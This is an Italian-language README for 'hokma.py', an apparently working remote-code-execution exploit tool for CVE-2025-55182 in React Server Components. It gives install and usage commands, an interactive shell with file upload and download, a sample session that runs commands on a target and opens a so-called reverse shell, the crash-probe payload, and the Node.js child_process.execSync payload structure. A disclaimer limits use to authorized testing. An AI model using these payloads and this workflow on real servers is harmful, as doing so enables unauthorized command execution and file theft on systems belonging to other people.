CVE-2025-55182-shellinteractive

Base usata da: https://github.com/Emiyelbarto/CVE-2025-55182-PoC Grazie mille per l'ottimo contributo.

Panoramica

CVE-2025-55182 è una vulnerabilità di deserializzazione in Next.js/React Server Components che consente ad attaccanti remoti non autenticati di eseguire codice arbitrario sui server interessati. La vulnerabilità deriva da una gestione impropria dei dati serializzati nelle React Server Actions.

Caratteristiche principali:

• ✅ Shell interattiva con cronologia dei comandi e completamento automatico
• ✅ Rilevamento automatico della vulnerabilità
• ✅ Esecuzione remota di comandi
• ✅ Capacità di upload/download di file
• ✅ Suite di test integrata
• ✅ Parametri target configurabili

Installazione

Prerequisiti

• Python 3.8 o superiore
• Libreria requests

Configurazione rapida

# Clona il repository
git clone https://github.com/yourusername/hokma.git
cd hokma

# Installa le dipendenze
pip install requests

# Rendi eseguibile lo script (opzionale)
chmod +x hokma.py

Utilizzo

Utilizzo base

# Avvia shell interattiva
python hokma.py

# Controlla solo la vulnerabilità
python hokma.py -u http://target.com --check

# Esegui un singolo comando
python hokma.py -u http://target.com -c "whoami"

Comandi della shell interattiva

help                    Show this help message
set URL <url>          Set target URL
set ID <action_id>     Set action ID (default: user-profile-action)
show                   Show current options
check [url]            Check if target is vulnerable
exploit <command>      Execute command on target
shell                  Start interactive command shell
test                   Run test commands (id, whoami, etc.)
upload <loc> <rem>     Upload local file to target
download <rem> <loc>   Download remote file (base64 encoded)
clear                  Clear screen
exit/quit              Exit the shell

Esempio di sessione

$ python hokma.py

  ____                 _     ____  _          _ _ 
 |  _ \ ___  __ _  ___| |_  / ___|| |__   ___| | |
 | |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
 |  _ <  __/ (_| | (__| |_   ___) | | | |  __/ | |
 |_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
                                                  
 React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands

hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com

hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!

hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200

--- COMMAND OUTPUT ---
www-data
----------------------

hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd

--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit

Opzioni di configurazione

Dettagli tecnici

Rilevamento della vulnerabilità

Lo strumento invia una richiesta multipart appositamente costruita che provoca un crash nei sistemi vulnerabili:

• Utilizza il payload: ["$1:a:a"] con un oggetto vuoto {}
• Rileva la vulnerabilità attraverso risposte HTTP 500 o pattern di errore specifici

Meccanismo di sfruttamento

1. Costruzione del payload JavaScript: Crea uno script Node.js utilizzando il costruttore Function
2. Esecuzione del processo figlio: Utilizza child_process.execSync() per eseguire comandi di sistema
3. Estrazione della risposta: Cattura e visualizza l'output del comando

Struttura del payload

const cmd = "COMMAND";
return import('child_process').then(cp => {
    try {
        const output = cp.execSync(cmd).toString();
        return output;
    } catch(e) { 
        return "Command Execution Failed: " + e.message; 
    }
});

Utilizzo etico e disclaimer

AVVISO LEGALE IMPORTANTE

Questo strumento è destinato a:

• Test di sicurezza autorizzati
• Scopi educativi
• Ricerca sulle vulnerabilità con il consenso appropriato

NON utilizzare questo strumento contro sistemi di cui non sei proprietario o per i quali non hai esplicito permesso di testare. L'accesso non autorizzato a sistemi informatici è illegale e non etico.

Gli sviluppatori non sono responsabili per qualsiasi uso improprio di questo strumento. Gli utenti devono rispettare tutte le leggi applicabili e ottenere la corretta autorizzazione prima di eseguire test.

Limitazioni note

1. Requisiti del target:

   • Server Node.js con React Server Components
   • Vulnerabile a CVE-2025-55182
   • Modulo child process disponibile

2. Limitazioni del rilevamento:

   • Può produrre falsi positivi/negativi
   • Dipende da specifiche risposte di errore

3. Vincoli dello sfruttamento:

   • I comandi vengono eseguiti con i privilegi del processo server
   • L'output può essere troncato in alcuni casi
   • I comandi complessi potrebbero richiedere escaping speciale